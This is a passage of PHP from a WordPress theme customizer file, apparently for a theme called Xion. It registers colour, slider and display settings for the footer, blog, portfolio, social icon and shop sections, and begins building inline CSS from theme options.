'default' => 'rgba(3,9,13,0.2)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_post_title_overlay_color_top', array(
'default' => 'rgba(3,9,13,0.2)',
'label' => esc_html__( 'Post Title Gradient Overlay Top', 'xion-progression' ),
'section' => 'progression-studios-blog-post-title',
'priority' => 700,
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting( 'progression_studios_post_title_overlay_color', array(
'default' => '#03090d',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_post_title_overlay_color', array(
'default' => '#03090d',
'label' => esc_html__( 'Post Title Gradient Overlay Bottom', 'xion-progression' ),
'section' => 'progression-studios-blog-post-title',
'priority' => 700,
))
);
/* Setting - General - Page Title */
$wp_customize->add_setting( 'progression_studios_post_title_bg_image' ,array(
'sanitize_callback' => 'esc_url_raw',
) );
$wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_post_title_bg_image', array(
'label' => esc_html__( 'Post Title Background Image', 'xion-progression' ),
'section' => 'progression-studios-blog-post-options',
'priority' => 805,
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_post_index_meta_category_display' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_post_index_meta_category_display', array(
'label' => esc_html__( 'Category Display', 'xion-progression' ),
'section' => 'progression-studios-blog-post-options',
'priority' => 20,
'choices' => array(
'true' => esc_html__( 'Display', 'xion-progression' ),
'false' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_post_meta_author_display' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_post_meta_author_display', array(
'label' => esc_html__( 'Author Meta', 'xion-progression' ),
'section' => 'progression-studios-blog-post-options',
'priority' => 25,
'choices' => array(
'true' => esc_html__( 'Display', 'xion-progression' ),
'false' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_post_meta_date_display' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_post_meta_date_display', array(
'label' => esc_html__( 'Date Meta', 'xion-progression' ),
'section' => 'progression-studios-blog-post-options',
'priority' => 30,
'choices' => array(
'true' => esc_html__( 'Display', 'xion-progression' ),
'false' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_post_meta_comment_display' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_post_meta_comment_display', array(
'label' => esc_html__( 'Comment Count Meta', 'xion-progression' ),
'section' => 'progression-studios-blog-post-options',
'priority' => 35,
'choices' => array(
'true' => esc_html__( 'Display', 'xion-progression' ),
'false' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Setting - Body - Button Styles */
$wp_customize->add_setting( 'progression_studios_button_font', array(
'default' => '#2b734a',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_button_font', array(
'label' => esc_html__( 'Button Font Color', 'xion-progression' ),
'section' => 'progression-studios-button-typography',
'priority' => 1635,
))
);
/* Setting - Body - Button Styles */
$wp_customize->add_setting( 'progression_studios_button_background', array(
'default' => '#5be492',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_button_background', array(
'label' => esc_html__( 'Button Background Color', 'xion-progression' ),
'section' => 'progression-studios-button-typography',
'priority' => 1640,
))
);
/* Setting - Body - Button Styles */
$wp_customize->add_setting( 'progression_studios_button_font_hover', array(
'default' => '#03090d',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_button_font_hover', array(
'label' => esc_html__( 'Button Hover Font Color', 'xion-progression' ),
'section' => 'progression-studios-button-typography',
'priority' => 1650,
))
);
/* Setting - Body - Button Styles */
$wp_customize->add_setting( 'progression_studios_button_background_hover', array(
'default' => '#ffffff',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_button_background_hover', array(
'label' => esc_html__( 'Button Hover Background Color', 'xion-progression' ),
'section' => 'progression-studios-button-typography',
'priority' => 1680,
))
);
/* Setting - Body - Button Styles */
$wp_customize->add_setting('progression_studios_button_font_size',array(
'default' => '13',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_button_font_size', array(
'label' => esc_html__( 'Button Font Size', 'xion-progression' ),
'section' => 'progression-studios-button-typography',
'priority' => 1700,
'choices' => array(
'min' => 4,
'max' => 30,
'step' => 1
), ) )
);
/* Setting - Body - Button Styles */
$wp_customize->add_setting('progression_studios_button_letter_spacing',array(
'default' => '0.04',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_button_letter_spacing', array(
'label' => esc_html__( 'Button Letter Spacing', 'xion-progression' ),
'section' => 'progression-studios-button-typography',
'priority' => 1710,
'choices' => array(
'min' => -2,
'max' => 2,
'step' => 0.01
), ) )
);
/* Setting - Body - Button Styles */
$wp_customize->add_setting('progression_studios_button_bordr_radius',array(
'default' => '3',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_button_bordr_radius', array(
'label' => esc_html__( 'Button Border Radius', 'xion-progression' ),
'section' => 'progression-studios-button-typography',
'priority' => 1750,
'choices' => array(
'min' => 0,
'max' => 50,
'step' => 1
), ) )
);
/* Setting - Body - Button Styles */
$wp_customize->add_setting('progression_studios_ionput_bordr_radius',array(
'default' => '0',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_ionput_bordr_radius', array(
'label' => esc_html__( 'Input Border Radius', 'xion-progression' ),
'section' => 'progression-studios-button-typography',
'priority' => 1750,
'choices' => array(
'min' => 0,
'max' => 30,
'step' => 1
), ) )
);
/* Setting - Body - Button Styles */
$wp_customize->add_setting( 'progression_studios_input_background', array(
'default' => 'rgba(255,255,255, 0)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_input_background', array(
'default' => 'rgba(255,255,255, 0)',
'label' => esc_html__( 'Form Input Background Color', 'xion-progression' ),
'section' => 'progression-studios-button-typography',
'priority' => 1790,
))
);
/* Setting - Body - Button Styles */
$wp_customize->add_setting( 'progression_studios_input_border', array(
'default' => '#cdcece',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_input_border', array(
'default' => '#cdcece',
'label' => esc_html__( 'Form Input Border Color', 'xion-progression' ),
'section' => 'progression-studios-button-typography',
'priority' => 1790,
))
);
/* Panel - Footer Top LEvel
$wp_customize->add_panel( 'progression_studios_footer_panel', array(
'priority' => 11,
'title' => esc_html__( 'Footer', 'xion-progression' ),
)
);
*/
/* Section - General - General Layout */
$wp_customize->add_section( 'progression_studios_section_footer_section', array(
'title' => esc_html__( 'Footer', 'xion-progression' ),
/* 'panel' => 'progression_studios_footer_panel',*/ // Not typically needed.
'priority' => 11,
)
);
/* Setting - Footer Elementor
https://gist.github.com/ajskelton/27369df4a529ac38ec83980f244a7227
*/
$progression_studios_elementor_library_list = array(
'' => 'Choose a template',
);
$progression_studios_elementor_args = array('post_type' => 'elementor_library', 'posts_per_page' => 99);
$progression_studios_elementor_posts = get_posts( $progression_studios_elementor_args );
foreach($progression_studios_elementor_posts as $progression_studios_elementor_post) {
$progression_studios_elementor_library_list[$progression_studios_elementor_post->ID] = $progression_studios_elementor_post->post_title;
}
$wp_customize->add_setting( 'progression_studios_footer_elementor_library' ,array(
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( 'progression_studios_footer_elementor_library', array(
'type' => 'select',
'section' => 'progression_studios_section_footer_section',
'priority' => 5,
'label' => esc_html__( 'Footer Elementor Template', 'xion-progression' ),
'description' => esc_html__( 'You can add/edit your footer under ', 'xion-progression') . '<a href="' . admin_url() . 'edit.php?post_type=elementor_library">Elementor > Templates</a>',
'choices' => $progression_studios_elementor_library_list,
) );
/* Setting - Footer - Footer Main */
$wp_customize->add_setting( 'progression_studios_footer_background', array(
'default' => '#0e1419',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_footer_background', array(
'label' => esc_html__( 'Copyright Background', 'xion-progression' ),
'section' => 'progression_studios_section_footer_section',
'priority' => 501,
'active_callback' => function() use ( $wp_customize ) {
return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value();
},
))
);
/* Setting - Footer - Copyright */
$wp_customize->add_setting( 'progression_studios_footer_copyright' ,array(
'default' => 'All Rights Reserved. Developed by Progression Studios',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control( 'progression_studios_footer_copyright', array(
'label' => esc_html__( 'Copyright Text', 'xion-progression' ),
'description' => esc_html__( 'This default text will be replaced if you use a template above.', 'xion-progression' ),
'section' => 'progression_studios_section_footer_section',
'type' => 'textarea',
'priority' => 10,
'active_callback' => function() use ( $wp_customize ) {
return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value();
},
)
);
/* Setting - Footer - Copyright */
$wp_customize->add_setting( 'progression_studios_copyright_text_color', array(
'default' => 'rgba(255,255,255, 0.45)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_copyright_text_color', array(
'default' => 'rgba(255,255,255, 0.45)',
'label' => esc_html__( 'Copyright Text Color', 'xion-progression' ),
'section' => 'progression_studios_section_footer_section',
'priority' => 525,
'active_callback' => function() use ( $wp_customize ) {
return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value();
},
))
);
/* Setting - Footer - Copyright */
$wp_customize->add_setting( 'progression_studios_copyright_link', array(
'default' => 'rgba(255,255,255, 0.75)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_copyright_link', array(
'default' => 'rgba(255,255,255, 0.75)',
'label' => esc_html__( 'Copyright Link Color', 'xion-progression' ),
'section' => 'progression_studios_section_footer_section',
'priority' => 530,
'active_callback' => function() use ( $wp_customize ) {
return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value();
},
))
);
/* Setting - Footer - Copyright */
$wp_customize->add_setting( 'progression_studios_copyright_link_hover', array(
'default' => '#ffffff',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_copyright_link_hover', array(
'default' => '#ffffff',
'label' => esc_html__( 'Copyright Link Hover Color', 'xion-progression' ),
'section' => 'progression_studios_section_footer_section',
'priority' => 540,
'active_callback' => function() use ( $wp_customize ) {
return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value();
},
))
);
/* Setting - Footer - Footer Icons */
$wp_customize->add_setting( 'progression_studios_footer_copyright_location' ,array(
'default' => 'footer-copyright-align-center',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_footer_copyright_location', array(
'label' => esc_html__( 'Copyright Text Alignment', 'xion-progression' ),
'section' => 'progression_studios_section_footer_section',
'priority' => 19,
'active_callback' => function() use ( $wp_customize ) {
return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value();
},
'choices' => array(
'footer-copyright-align-left' => esc_html__( 'Left', 'xion-progression' ),
'footer-copyright-align-center' => esc_html__( 'Center', 'xion-progression' ),
'footer-copyright-align-right' => esc_html__( 'Right', 'xion-progression' ),
),
))
);
/* Setting - Footer - Footer Widgets */
$wp_customize->add_setting('progression_studios_copyright_margin_top',array(
'default' => '40',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_copyright_margin_top', array(
'label' => esc_html__( 'Copyright Padding Top', 'xion-progression' ),
'section' => 'progression_studios_section_footer_section',
'priority' => 20,
'active_callback' => function() use ( $wp_customize ) {
return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value();
},
'choices' => array(
'min' => 0,
'max' => 150,
'step' => 1
), ) )
);
/* Setting - Footer - Footer Widgets */
$wp_customize->add_setting('progression_studios_copyright_margin_bottom',array(
'default' => '40',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_copyright_margin_bottom', array(
'label' => esc_html__( 'Copyright Padding Bottom', 'xion-progression' ),
'section' => 'progression_studios_section_footer_section',
'priority' => 22,
'active_callback' => function() use ( $wp_customize ) {
return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value();
},
'choices' => array(
'min' => 0,
'max' => 150,
'step' => 1
), ) )
);
/* Panel - Body */
$wp_customize->add_panel( 'progression_studios_portfolio_panel', array(
'priority' => 8,
'title' => esc_html__( 'Game/Portfolio', 'xion-progression' ),
) );
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_section( 'progression_studios_section_portfolio_index', array(
'title' => esc_html__( 'Game/Portfolio Options', 'xion-progression' ),
'panel' => 'progression_studios_portfolio_panel', // Not typically needed.
'priority' => 23,
)
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_pagination' ,array(
'default' => 'load-more',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( 'progression_studios_blog_pagination', array(
'label' => esc_html__( 'Archive Pagination', 'xion-progression' ),
'section' => 'progression_studios_section_portfolio_index',
'type' => 'select',
'priority' => 3,
'choices' => array(
'default' => esc_html__( 'Default', 'xion-progression' ),
'infinite-scroll' => esc_html__( 'Infinite Scroll', 'xion-progression' ),
'load-more' => esc_html__( 'Load More Button', 'xion-progression' ),
),
)
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting('progression_studios_blog_columns',array(
'default' => '3',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_blog_columns', array(
'label' => esc_html__( 'Archive Columns', 'xion-progression' ),
'section' => 'progression_studios_section_portfolio_index',
'priority' => 4,
'choices' => array(
'min' => 1,
'max' => 6,
'step' => 1
), ) )
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting('progression_studios_media_posts_page',array(
'default' => '12',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_media_posts_page', array(
'label' => esc_html__( 'Archive Posts Per Page', 'xion-progression' ),
'section' => 'progression_studios_section_portfolio_index',
'priority' => 4,
'choices' => array(
'min' => 1,
'max' => 100,
'step' => 1
), ) )
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting('progression_studios_blog_index_gap',array(
'default' => '12',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_blog_index_gap', array(
'label' => esc_html__( 'Archive Margins', 'xion-progression' ),
'section' => 'progression_studios_section_portfolio_index',
'priority' => 8,
'choices' => array(
'min' => 0,
'max' => 100,
'step' => 1
), ) )
);
/* Section - Body - Blog Typography */
$wp_customize->add_setting( 'progression_studios_portfolio_border', array(
'default' => '#232930',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_portfolio_border', array(
'label' => esc_html__( 'Content Border', 'xion-progression' ),
'section' => 'progression-studios-portfolio-archives',
'priority' => 1500,
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting('progression_studios_portfolio_title_padding_top',array(
'default' => '350',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_portfolio_title_padding_top', array(
'label' => esc_html__( 'Post Title Top Padding', 'xion-progression' ),
'section' => 'progression-studios-portfolio-post-title',
'priority' => 620,
'choices' => array(
'min' => 0,
'max' => 450,
'step' => 1
), ) )
);
/* Setting - Body - Page Title */
$wp_customize->add_setting('progression_studios_portfolio_title_padding_bottom',array(
'default' => '25',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_portfolio_title_padding_bottom', array(
'label' => esc_html__( 'Post Title Bottom Padding', 'xion-progression' ),
'section' => 'progression-studios-portfolio-post-title',
'priority' => 630,
'choices' => array(
'min' => 0,
'max' => 450,
'step' => 1
), ) )
);
/* Setting - General - Page Loader */
$wp_customize->add_setting( 'progression_studios_portfolio_related_posts' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_portfolio_related_posts', array(
'label' => esc_html__( 'Display Related Posts?', 'xion-progression' ),
'section' => 'progression-studios-portfolio-post-title',
'priority' => 700,
'choices' => array(
'true' => esc_html__( 'On', 'xion-progression' ),
'false' => esc_html__( 'Off', 'xion-progression' ),
),
))
);
/* Panel - Body */
$wp_customize->add_panel( 'progression_studios_blog_panel', array(
'priority' => 9,
'title' => esc_html__( 'Blog', 'xion-progression' ),
) );
/* Section - Body - Blog Typography */
$wp_customize->add_setting( 'progression_studios_blog_title_link', array(
'default' => '#ffffff',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_blog_title_link', array(
'label' => esc_html__( 'Default Title Color', 'xion-progression' ),
'section' => 'progression-studios-blog-headings',
'priority' => 5,
))
);
/* Section - Body - Blog Typography */
$wp_customize->add_setting( 'progression_studios_blog_title_link_hover', array(
'default' => '#5be592',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_blog_title_link_hover', array(
'label' => esc_html__( 'Default Title Hover Color', 'xion-progression' ),
'section' => 'progression-studios-blog-headings',
'priority' => 10,
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_content_border', array(
'default' => '#232930',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_blog_content_border', array(
'default' => '#232930',
'label' => esc_html__( 'Content Border', 'xion-progression' ),
'section' => 'progression-studios-blog-headings',
'priority' => 15,
))
);
/* Setting - General - Page Loader */
$wp_customize->add_setting( 'progression_studios_icon_position' ,array(
'default' => 'header-top-hidden',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_icon_position', array(
'label' => esc_html__( 'Display Social Icons?', 'xion-progression' ),
'section' => 'progression_studios_section_header_icons_section',
'priority' => 2,
'choices' => array(
'default' => esc_html__( 'Nav', 'xion-progression' ),
'header-top-left' => esc_html__( 'Top Left', 'xion-progression' ),
'header-top-right' => esc_html__( 'Top Right', 'xion-progression' ),
'header-top-hidden' => esc_html__( 'Hidden', 'xion-progression' ),
),
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting('progression_studios_social_icons_margintop',array(
'default' => '33',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_social_icons_margintop', array(
'label' => esc_html__( 'Icon Margin Top', 'xion-progression' ),
'section' => 'progression_studios_section_header_icons_section',
'priority' => 3,
'choices' => array(
'min' => 0,
'max' => 100,
'step' => 1
), ) )
);
/* Setting - Header - Navigation */
$wp_customize->add_setting('progression_studios_social_icons_font_size',array(
'default' => '17',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_social_icons_font_size', array(
'label' => esc_html__( 'Icon Font Size', 'xion-progression' ),
'section' => 'progression_studios_section_header_icons_section',
'priority' => 4,
'choices' => array(
'min' => 0,
'max' => 100,
'step' => 1
), ) )
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_social_icons_color', array(
'default' => '#787e8a',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_social_icons_color', array(
'default' => '#787e8a',
'label' => esc_html__( 'Icon Color', 'xion-progression' ),
'section' => 'progression_studios_section_header_icons_section',
'priority' => 5,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_social_icons_bg', array(
'default' => 'rgba(255,255,255, 0)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_social_icons_bg', array(
'default' => 'rgba(255,255,255, 0)',
'label' => esc_html__( 'Icon Background', 'xion-progression' ),
'section' => 'progression_studios_section_header_icons_section',
'priority' => 7,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_social_icons_hover_color', array(
'default' => '#ffffff',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_social_icons_hover_color', array(
'default' => '#ffffff',
'label' => esc_html__( 'Icon Hover Color', 'xion-progression' ),
'section' => 'progression_studios_section_header_icons_section',
'priority' => 10,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_social_icons_hover_bg', array(
'default' => 'rgba(255,255,255, 0)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_social_icons_hover_bg', array(
'default' => 'rgba(255,255,255, 0)',
'label' => esc_html__( 'Icon Hover Background', 'xion-progression' ),
'section' => 'progression_studios_section_header_icons_section',
'priority' => 12,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_related_products' ,array(
'default' => 'none',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_related_products', array(
'label' => esc_html__( 'Related Products', 'xion-progression' ),
'section' => 'progression-studios-shop-styles',
'priority' => 10,
'choices' => array(
'block' => esc_html__( 'Show', 'xion-progression' ),
'none' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_related_products_sub_title' ,array(
'default' => 'block',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_related_products_sub_title', array(
'label' => esc_html__( 'Related Products Sub-title', 'xion-progression' ),
'section' => 'progression-studios-shop-styles',
'priority' => 11,
'choices' => array(
'block' => esc_html__( 'Show', 'xion-progression' ),
'none' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_shop_index_bg', array(
'default' => '#03090d',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_shop_index_bg', array(
'default' => '#03090d',
'label' => esc_html__( 'Shop Index Background', 'xion-progression' ),
'section' => 'progression-studios-shop-index-styles',
'priority' => 5,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_shop_index_brder', array(
'default' => '#232930',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_shop_index_brder', array(
'default' => '#232930',
'label' => esc_html__( 'Shop Index Border', 'xion-progression' ),
'section' => 'progression-studios-shop-index-styles',
'priority' => 6,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_star_rating', array(
'default' => '#909395',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_star_rating', array(
'default' => '#909395',
'label' => esc_html__( 'Shop Rating Color', 'xion-progression' ),
'section' => 'progression-studios-shop-index-styles',
'priority' => 8,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_category_display' ,array(
'default' => 'block',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_category_display', array(
'label' => esc_html__( 'Display Shop Category', 'xion-progression' ),
'section' => 'progression-studios-shop-index-styles',
'priority' => 700,
'choices' => array(
'block' => esc_html__( 'Show', 'xion-progression' ),
'none' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_category_count' ,array(
'default' => 'none',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_category_count', array(
'label' => esc_html__( 'Category Count', 'xion-progression' ),
'section' => 'progression-studios-shop-index-styles',
'priority' => 700,
'choices' => array(
'block' => esc_html__( 'Show', 'xion-progression' ),
'none' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_shop_post_tab_highlight', array(
'default' => '#ffffff',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_shop_post_tab_highlight', array(
'default' => '#ffffff',
'label' => esc_html__( 'Shop Post Tab Highlight', 'xion-progression' ),
'section' => 'progression-studios-shop-styles',
'priority' => 2500,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_shop_post_base_background', array(
'default' => '#03090d',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_shop_post_base_background', array(
'default' => '#03090d',
'label' => esc_html__( 'Shop Post Tab Background', 'xion-progression' ),
'section' => 'progression-studios-shop-styles',
'priority' => 2550,
))
);
}
add_action( 'customize_register', 'progression_studios_customizer' );
//HTML Text
function progression_studios_sanitize_customizer( $input ) {
return wp_kses( $input, TRUE);
}
//no-HTML text
function progression_studios_sanitize_choices( $input ) {
return wp_filter_nohtml_kses( $input );
}
function progression_studios_customizer_styles() {
global $post;
//https://codex.wordpress.org/Function_Reference/wp_add_inline_style
wp_enqueue_style( 'progression-studios-custom-style', get_template_directory_uri() . '/css/progression_studios_custom_styles.css' );
if ( get_theme_mod( 'progression_studios_header_bg_image') ) {
$progression_studios_header_bg_image = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_header_bg_image' ) ) . ");";
} else {
$progression_studios_header_bg_image = "";
}
if ( get_theme_mod( 'progression_studios_top_header_bg_image') ) {
$progression_studios_top_header_bg_image = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_top_header_bg_image' ) ) . ");";
} else {
$progression_studios_top_header_bg_image = "";
}
if ( get_theme_mod( 'progression_studios_header_bg_image_image_position', 'cover') == 'cover' ) {
$progression_studios_top_header_bg_cover = "background-repeat: no-repeat; background-position:center center; background-size: cover;";
} else {
$progression_studios_top_header_bg_cover = "background-repeat:repeat-all; ";
}
if ( get_theme_mod( 'progression_studios_sub_nav_border_top') ) {
$progression_studios_sub_nav_brder_top = "ul#progression-studios-panel-login, #progression-checkout-basket, #panel-search-progression, .sf-menu ul {border-top:3px solid " . esc_attr( get_theme_mod('progression_studios_sub_nav_border_top', '#00da97') ) . "; }";
} else {
$progression_studios_sub_nav_brder_top = "";
}
if ( get_theme_mod( 'progression_studios_top_header_sub_border_top', '#179ef4') ) {
$progression_studios_top_header_sub_nav_brder_top = "#xion-progression-header-top .sf-menu ul {border-top:3px solid " . esc_attr( get_theme_mod('progression_studios_top_header_sub_border_top', '#00da97') ) . "; }";
} else {
$progression_studios_top_header_sub_nav_brder_top = "";
}
